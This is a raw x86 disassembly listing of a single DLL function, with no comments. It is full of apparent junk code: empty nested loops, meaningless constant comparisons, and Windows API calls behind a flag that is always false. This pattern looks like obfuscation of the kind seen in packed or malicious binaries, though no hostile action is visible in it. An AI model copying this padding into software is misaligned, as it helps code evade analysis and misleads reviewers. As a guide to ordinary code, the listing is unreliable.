mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov dword [ecx + 8], ebx
cmp dword [ebp + eax*4 - 0xa0], ebx
jne 0x1000eae7
mov eax, dword [ebp - 0x244]
cmp dword [eax], ebx
mov eax, ebx
je 0x1000eae9
mov eax, esi
mov dword [ebp - 0x14], eax
dec dword [ebp - 0x48]
jns 0x1000eaa0
lea ecx, [ebp - 0x3bc]
call fcn.1001b82f
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 0xd
call fcn.1001b82f
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jg 0x1000ea22
cmp dword [ebp - 0x3c], ebx
je 0x1000eb1f
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x350]
mov dword [ebp - 0x14], 0xc01
mov eax, dword [ebp - 0x30]
cmp eax, 0xf09d
mov eax, dword [ebp - 0x14]
mov esi, dword [edi + 4]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x30]
setg cl
xor edx, edx
cmp ecx, esi
setle dl
sub edx, esi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x34]
mov ecx, dword [edi + 4]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
add eax, ecx
cmp eax, ecx
jg 0x1000eb9b
cmp dword [ebp - 0x3c], ebx
jne 0x1000eb9b
xor edi, edi
mov eax, ebx
inc edi
jmp 0x1000eba0
xor edi, edi
inc edi
mov eax, edi
imul ecx, eax, 0xffff
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
lea ecx, [ebp - 0x350]
setl dl
mov dword [ebp - 0x50], edx
mov byte [ebp - 4], 3
call fcn.1001b82f
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x1000f252
mov dword [ebp - 0x40], 0xb85
cmp dword [ebp - 0x40], 0xe07
jle 0x1000ec0a
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1060c3d8
cdq
push edx
push eax
call fcn.1001b57c
inc edi
cmp edi, 0xc1c
jl 0x1000ebe2
inc esi
cmp esi, 0x4876
jl 0x1000ebe0
xor edi, edi
inc edi
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x40], 0x832
jge 0x1000ec47
mov edx, 0x100077e8
mov ecx, 0x1060c3d8
call fcn.1001da87
jmp 0x1000ec47
mov dword [ebp - 4], 3
mov dword [ebp - 0x20], 0x7d09
cmp dword [ebp - 0x20], 0x7d39
jle 0x1000ecd6
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x54], ebx
mov ecx, eax
mov dword [ebp - 0x40], 0x2a83
mov dword [ebp - 0x30], ecx
mov esi, ebx
mov eax, esi
xor eax, ecx
lea ecx, [ebp - 0x944]
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ec90
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x944]
call fcn.1001bbfd
mov ecx, dword [ebp - 0x30]
inc esi
cmp esi, 0x5fd3
jl 0x1000ec74
mov eax, dword [ebp - 0x54]
add ecx, eax
dec dword [ebp - 0x40]
mov dword [ebp - 0x30], ecx
jne 0x1000ec72
dec eax
mov dword [ebp - 0x54], eax
cmp eax, 0xfffff01c
mov eax, dword [ebp - 0x14]
jg 0x1000ec66
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x27d9
jl 0x1000ec63
mov dword [ebp - 0x1c], 0xfffffffb
cmp dword [ebp - 0x20], 0x7b91
jge 0x1000ecf1
push 0x1000782c
call fcn.1004de26
pop ecx
mov dword [ebp - 4], 3
mov dword [ebp - 0x40], 0xbe1552b9
mov dword [ebp - 0x1c], ebx
jmp 0x1000ed15
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x130], 0xa6847dfa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000ed04
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000ed2e
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 2
mov dword [ebp - 0x1c], ebx
pop esi
cmp dword [ebp - 0x1c], esi
jg 0x1000ef6f
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x4c], esi
cmp dword [ebp - 0x4c], ebx
jl 0x1000ef67
mov dword [ebp - 0x30], 0xffffffff
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x130], ebx
je 0x1000ed7d
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000ef4b
push 0x16d9
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1000ef4b
mov dword [ebp - 0x14], 0xffffffff
cmp dword [ebp - 0x12c], ebx
je 0x1000eef4
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x41c]
push esi
call fcn.1001b7ad
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x40], 0x4ec0
cmp dword [ebp - 0x40], 0x5188
jle 0x1000ede6
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1060c3d8
cdq
push edx
push eax
call fcn.1001b57c
inc edi
cmp edi, 0x621d
jl 0x1000edbb
inc esi
cmp esi, 0x1d77
jl 0x1000edb9
xor edi, edi
push 2
inc edi
pop esi
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x40], 0x4adf
jge 0x1000ee26
mov edx, 0x10007868
mov ecx, 0x1060c3d8
call fcn.1001da87
jmp 0x1000ee26
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x20], ebx
jmp 0x1000ee45
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x41c]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000ee32
mov dword [ebp - 0x20], ebx
jmp 0x1000eeda
mov dword [ebp - 0x40], 0x62da
cmp dword [ebp - 0x4c], ebx
jne 0x1000eee3
mov eax, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x4c]
push 0
mov ecx, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x130]
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x130]
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setne cl
cmp ecx, 0xb288586f
sbb edx, edx
add edx, 0x5e82f4f7
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
xor ebx, ebx
cmp ecx, 0xef90
setg bl
xor edx, edx
sub ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
cmp ebx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x41c]
pop ebx
setl cl
mov dword [eax], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1000ee52
lea ecx, [ebp - 0x41c]
mov byte [ebp - 4], 3
call fcn.1001b82f
jmp 0x1000ef0c
mov dword [ebp - 0x2c], 0x434a938f
cmp dword [ebp - 0x1c], ebx
jne 0x1000ef07
mov eax, ebx
cmp dword [ebp - 0x2c], ebx
je 0x1000ef09
mov eax, edi
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x130]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setle cl
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], ebx
jne 0x1000ef37
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x130]
mov dword [ebp - 0x14], 0x5265879a
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x130], ecx
dec dword [ebp - 0x4c]
jmp 0x1000ed43
inc dword [ebp - 0x1c]
jmp 0x1000ed34
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x20], 0xcb63e8e1
mov dword [ebp - 0x1c], ebx
jmp 0x1000ef9a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6f0], 0x26bd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000ef89
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x34], ebx
jl 0x1000efd8
mov dword [ebp - 0x1c], 0x18d58162
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x1000efd3
mov dword [ebp - 0x2c], 0xffff
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1000efd3
dec dword [ebp - 0x1c]
jns 0x1000efb7
dec dword [ebp - 0x34]
jns 0x1000efa8
mov dword [ebp - 0x20], ebx
jmp 0x1000f03e
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000eff3
push ebx
push 0xc9e
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [ebp - 0x34], ebx
jmp 0x1000f035
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1000f02d
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x6f0], ebx
jne 0x1000f032
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000f02a
push 0x1e91
push 0x25f6
push ebx
call dword [sym.imp.GDI32.dll_OffsetRgn]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1000f004
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1b
jle 0x1000eff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x10
jle 0x1000efdd
mov dword [ebp - 0x1c], ebx
jmp 0x1000f056
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13c], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1000f049
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1000f074
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4a0], 0x64a6847d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000f063
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], esi
jg 0x1000f15c
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x2c], 0x86bd085
mov dword [ebp - 0x34], 0x13dd
cmp dword [ebp - 0x34], 0x1703
jle 0x1000f10e
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x30], 0x30d2
mov esi, ebx
mov dword [ebp - 0x40], 0x192
mov eax, esi
lea ecx, [ebp - 0x794]
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f0d4
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x794]
call fcn.1001bbfd
mov eax, dword [ebp - 0x54]
add esi, eax
dec dword [ebp - 0x40]
jne 0x1000f0ba
mov esi, dword [ebp - 0x14]
add eax, esi
dec dword [ebp - 0x30]
mov dword [ebp - 0x54], eax
jne 0x1000f0b1
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x419c
jl 0x1000f0a7
push 2
pop esi
mov dword [ebp - 0x20], ebx
jmp 0x1000f134
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x4a0]
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1000f113
cmp dword [ebp - 0x34], 0x12cb
jge 0x1000f14d
push 0x100078c0
call fcn.1004de26
pop ecx
mov dword [ebp - 4], 3
inc dword [ebp - 0x1c]
jmp 0x1000f07d
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000f16d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
cmp dword [eax + ecx*4], ebx
je 0x1000f1e6
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
cmp dword [eax + ecx*4], ebx
jne 0x1000f18e
cmp dword [ebp - 0x60], ebx
je 0x1000f190
mov ebx, edi
mov edx, dword [ebp - 0x24]
lea ecx, [ebx - 0x8e92]
mov eax, dword [ebp - 0xdc]
xor ebx, ebx
mov dword [eax + edx*4], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], edi
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x13c]
setne bl
imul edx, ebx
xor ecx, ecx
cmp edx, eax
mov eax, edi
setl cl
xor ebx, ebx
cmp ecx, 0xfffffffc
jle 0x1000f1e8
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
mov eax, dword [ebp - 0xdc]
imul ecx, dword [eax + 4]
imul eax, ecx, 0xfffffffc
test eax, eax
je 0x1000f21e
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x40], edi
cmp dword [eax + ecx*4], ebx
jne 0x1000f221
mov dword [ebp - 0x40], ebx
mov edx, dword [ebp - 0x24]
xor ebx, ebx
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x60]
cmp dword [ecx + edx*4], eax
mov eax, dword [ebp - 0xdc]
setl bl
imul ebx, dword [eax + esi*4]
sub ebx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], ebx
dec dword [ebp - 0x24]
xor ebx, ebx
jmp 0x1000ebc5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdc]
call fcn.1001b82f
movdqa xmm0, xmmword [0x1000c700]
lea ecx, [ebp - 0x638]
mov dword [ebp - 0x20], 3
lea eax, [ebp - 0x628]
mov dword [ebp - 0x44], edi
push ecx
mov dword [ebp - 0x40], 0xc7747bb7
mov dword [ebp - 0x38], 0x83dc0e3e
push eax
mov dword [ebp - 0x48], ebx
push ecx
mov dword [ebp - 0x1c], 0xfffffffa
lea ecx, [ebp - 0x558]
mov dword [ebp - 0x34], 0xfffffffa
movdqu xmmword [ebp - 0x638], xmm0
call fcn.1001b809
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x54], 0xbf4
cmp dword [ebp - 0x54], 0xd3d
jle 0x1000f34c
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov eax, ebx
mov dword [ebp - 0x40], ebx
add eax, ecx
mov esi, ebx
and eax, edx
mov dword [ebp - 0x2c], eax
or eax, esi
lea ecx, [ebp - 0x914]
cdq
push edx
push eax
call fcn.1000db9a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f300
mov eax, dword [eax]
push eax
call fcn.1004de26
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x914]
call fcn.1001bbfd
mov eax, dword [ebp - 0x2c]
inc esi
cmp esi, 0x630f
jl 0x1000f2e6
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x30]
inc eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
cmp eax, 0x7c6a
jl 0x1000f2dd
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x519
jl 0x1000f2d8
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x33aa
jl 0x1000f2d3
push 2
mov dword [ebp - 0x4c], ebx
pop esi
jmp 0x1000f365
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2b8], 0x5e82aa9d
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x1000f354
cmp dword [ebp - 0x54], 0x8fa
jge 0x1000f37e
push 0x100078fc
call fcn.1004de26
pop ecx
mov dword [ebp - 0x4c], ebx
jmp 0x1000f394
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x678], 0xa8bc07c2
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 4
jl 0x1000f383
mov dword [ebp - 0x4c], ebx
jmp 0x1000f3b0
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2d0], 0x56d20a2e
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x1000f39f
cmp dword [ebp - 0x1c], ebx
jne 0x1000f3bd
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
dec dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x678]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
add eax, edx
cmp eax, 0xffffffff
setl cl
add ecx, 2
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x558]
mov dword [eax + 0xc], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x66c]
mov eax, dword [ebp - 0x48]
cmp eax, edi
setg cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x558]
mov eax, dword [ebp - 0x40]
add eax, 0xa4d24405
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x3c]
or dword [ebp - 4], 0xffffffff
call fcn.1001b82f
push esi
lea ecx, [ebp - 0x4b8]
call fcn.1001b7ad
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1000f46e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4b8]
mov dword [eax + ecx*4], 0x5b57
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1000f45b
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], ebx
jl 0x1000f499
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000f494
push 0x17e8
push 0x11c0
call dword [sym.imp.GDI32.dll_SetLayout]
dec dword [ebp - 0x14]
jns 0x1000f47b
lea ecx, [ebp - 0x4b8]
call fcn.1001b82f
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x38], 0xfffffff9
mov eax, 0x1006a5cc
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x20], 0xd7d0
mov dword [ebp - 0x34], ebx
push 4
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x4c], eax
call fcn.1001b7ad
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x1c], ebx
jmp 0x1000f4f6
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x268]
mov dword [eax + ecx*4], 0x9bd12f8b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1000f4e3
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
cmp eax, 0xc946
setl cl
xor eax, eax
cmp ecx, 0x4039ee49
setge al
cmp eax, dword [ebp - 0x24]
jge 0x1000f522
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
sub edx, 0x6193fe69
cmp eax, edx
setne cl
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ebx
je 0x1000f552
mov eax, edi
cmp dword [ebp - 0x24], ebx
jne 0x1000f554
mov eax, ebx
cmp eax, dword [ebp - 0x24]
jl 0x1000f560
mov edx, edi
cmp dword [ebp - 0x14], ebx
jne 0x1000f562
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setne cl
cmp edi, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
jne 0x1000f579
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], ebx
jne 0x1000f58b
mov eax, ebx
cmp dword [ebp - 0x38], ebx
je 0x1000f58d
mov eax, edi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jne 0x1000f689
cmp dword [ebp - 0x38], ebx
jne 0x1000f689
push esi
lea ecx, [ebp - 0x250]
call fcn.1001b7ad
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x1c], ebx
jmp 0x1000f5c9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x250]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1000f5ba
mov dword [ebp - 0x24], ebx
jmp 0x1000f5e7
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000f5e4
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnregisterClassA]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1000f5d3
mov eax, dword [ebp - 0x250]
xor ecx, ecx
mov dword [ebp - 0x38], 0x6f2ba10f
mov edx, dword [eax]
mov eax, dword [ebp - 0x38]
cmp eax, edx
setge cl
xor eax, eax
cmp edx, ecx
setl al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
je 0x1000f627
mov dword [ebp - 0x40], 0xf6679856
dec dword [ebp - 0x40]
jmp 0x1000f681
mov dword [ebp - 0x30], 0xfffffffb
xor edx, edx
mov dword [ebp - 0x40], ebx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, 0x8b4891
setl dl
xor ecx, ecx
sub eax, edx
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
sub edx, eax
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x250]
sub edx, dword [eax]
mov eax, dword [ebp - 0x30]
cmp edx, eax
mov eax, dword [ebp - 0x268]
setg cl
xor edx, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
mov dword [ebp - 0x1c], edx
lea ecx, [ebp - 0x250]
jmp 0x1000f6c5
push 3
lea ecx, [ebp - 0x2e4]
call fcn.1001b7ad
mov dword [ebp - 0x1c], ebx
jmp 0x1000f6ae
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2e4]
mov dword [eax + ecx*4], 0xa341
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000f69b
mov eax, dword [ebp - 0x2e4]
lea ecx, [ebp - 0x2e4]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
call fcn.1001b82f
cmp dword [ebp - 0x34], ebx
jne 0x1000f6e7
cmp dword [ebp - 0x38], 0x3e9becc4
mov ecx, ebx
mov eax, dword [ebp - 0x268]
mov dword [eax + 4], 0x3e9becc4
je 0x1000f6e9
mov ecx, edi
mov eax, dword [ebp - 0x20]
imul eax, ecx
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x34], eax
or dword [ebp - 4], 0xffffffff
call fcn.1001b82f
mov dword [ebp - 0x40], 0x61ce
cmp dword [ebp - 0x40], 0x6283
jle 0x1000f764
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
add eax, ecx
mov ecx, 0x1060c3d8
xor eax, esi
xor eax, edi
cdq
push edx
push eax
call fcn.1001b57c
mov eax, dword [ebp - 0x14]
inc esi
mov ecx, dword [ebp - 0x1c]
cmp esi, 0x250f
jl 0x1000f71f
inc edi
cmp edi, 0x4542
jl 0x1000f71d
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x63e8
jl 0x1000f71b
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x7304
jl 0x1000f716
xor edi, edi
inc edi
movdqa xmm0, xmmword [0x1000c700]
lea ecx, [ebp - 0x658]
push ecx
lea eax, [ebp - 0x648]
mov dword [ebp - 0x1c], 0xfffffff9
push eax
push ecx
lea ecx, [ebp - 0x4d0]
movdqu xmmword [ebp - 0x658], xmm0
call fcn.1001b809
lea ecx, [ebp - 0x608]
mov dword [ebp - 4], 0x1c
movdqa xmm0, xmmword [0x1000c730]
lea eax, [ebp - 0x5f8]
push ecx
push eax
push ecx
mov dword [ebp - 0x44], 0x13923cc
lea ecx, [ebp - 0x5a0]
movdqu xmmword [ebp - 0x608], xmm0
call fcn.1001b809
mov dword [ebp - 0x44], 0x6ebf4d39
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0x17
je 0x1000f813
mov esi, dword [ebp - 0x4d0]
xor edx, edx
mov dword [ebp - 0x44], 0xfffffff6
mov eax, dword [ebp - 0x1c]
cmp eax, edi
mov eax, dword [ebp - 0x5a0]
setle dl
xor ecx, ecx
add edx, dword [esi + 0xc]
cmp edx, 0x65cd
setge cl
mov dword [eax], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
jne 0x1000f7e3
lea ecx, [ebp - 0x5a0]
call fcn.1001b82f
lea ecx, [ebp - 0x4d0]
call fcn.1001b82f
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x40], 0x608d
jge 0x1000f848
mov edx, 0x10007920
mov ecx, 0x1060c3d8
call fcn.1001da87
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x1c], ebx
jmp 0x1000f89b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9b4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1000f88a
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xfffffff4
jge 0x1000f921
lea esi, [ebp - 0x5e8]
lea eax, [ebp - 0x5d8]
movdqa xmm0, xmmword [0x1000c770]
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0xb11accba
push ecx
mov dword [ebp - 0x44], ebx
lea ecx, [ebp - 0x6c0]
mov dword [ebp - 0x44], 0x374c
push eax
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x44], 0xb9dbea52
mov dword [ebp - 0x44], 0x92bd42ca
push esi
movdqu xmmword [ebp - 0x5e8], xmm0
call fcn.1001b809
mov dword [ebp - 0x40], edi
lea ecx, [ebp - 0x6c0]
dec dword [ebp - 0x40]
call fcn.1001b82f
dec dword [ebp - 0x1c]
lea eax, [ebp - 0x5d8]
cmp dword [ebp - 0x1c], 0xfffffff4
jl 0x1000f8b6
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1000f936
push 0x1a3a
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x50], 0xc7747bb7
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x2c], 0x76f5020f
mov dword [ebp - 0x54], 0x158d32ff
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0x80ca9f8d
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1000f986
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6cc], 0x77c8748a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000f975
dec dword [ebp - 0x30]
cmp dword [ebp - 0x40], ebx
jne 0x1000f997
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2c]
mov ecx, ebx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], edi
